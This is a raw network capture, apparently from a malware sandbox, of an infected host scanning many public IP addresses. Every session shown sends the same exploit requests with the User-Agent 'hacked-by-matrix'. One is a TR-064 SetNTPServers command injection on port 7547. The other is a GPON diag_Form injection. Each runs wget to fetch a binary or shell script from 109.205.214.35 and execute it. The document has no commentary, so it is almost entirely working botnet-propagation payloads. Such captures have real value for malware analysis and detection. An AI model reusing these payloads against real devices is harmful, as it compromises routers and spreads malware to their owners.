Mar 21, 2024 05:18:06.810909033 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:07.543785095 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:09.015633106 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:12.087156057 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:17.974359989 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:29.748955011 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:53.553423882 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
881	192.168.2.23	58396	118.227.1.232	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:06.210623026 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
882	192.168.2.23	43588	79.104.197.120	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:06.210685015 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
883	192.168.2.23	49662	212.112.108.244	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:06.210720062 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
884	192.168.2.23	35492	2.172.24.52	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:06.210773945 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
885	192.168.2.23	49908	42.138.150.225	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:06.210817099 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
886	192.168.2.23	47520	212.113.169.184	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:06.210859060 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
887	192.168.2.23	48260	42.117.128.231	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:06.210927010 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
888	192.168.2.23	49370	94.183.101.185	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:06.210933924 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
889	192.168.2.23	42574	2.162.107.38	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:06.210966110 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
890	192.168.2.23	53540	118.50.11.126	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:06.211024046 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
891	192.168.2.23	42068	109.233.178.59	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:06.211060047 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
892	192.168.2.23	35268	2.229.177.233	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:06.211189985 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
893	192.168.2.23	36818	212.255.234.6	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:06.211189985 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
894	192.168.2.23	38932	210.113.196.110	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:06.253556967 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
895	192.168.2.23	38968	210.113.196.110	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:06.554318905 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
896	192.168.2.23	33046	24.210.160.183	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:06.750634909 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
897	192.168.2.23	46484	179.52.52.111	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:06.766228914 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:07.254889965 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:07.402760029 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
898	192.168.2.23	33098	24.210.160.183	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:06.885595083 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
899	192.168.2.23	46610	50.43.54.18	7547

Timestamp	Bytes transferred	Direction	Data
